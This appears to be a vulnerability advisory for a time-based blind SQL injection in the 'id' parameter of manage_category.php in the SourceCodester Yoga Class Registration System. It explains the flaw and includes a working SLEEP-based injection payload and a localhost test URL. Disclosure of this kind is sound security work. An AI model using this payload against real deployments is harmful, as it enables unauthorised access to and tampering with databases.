SourceCodester Yoga Class Registration System manage_category sql injection
url:admin/categories/manage_category.php
Abstract:
Line 3 of manage_category.php invokes a SQL query built with input that comes from an untrusted source. This call could allow an attacker to modify the statement’s meaning or to execute arbitrary SQL commands.
Explanation:
SQL injection errors occur when:
- Data enters a program from an untrusted source.
- The data is used to dynamically construct a SQL query.
In this case, the data is passed to query() in manage_category.php on line 3.
http://localhost/php-ycrs/admin/?page=categories/manage_category&id=8
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=categories/manage_category&id=8' AND (SELECT 5439 FROM (SELECT(SLEEP(5)))TiOT) AND 'iAsm'='iAsm
Download Code:
https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html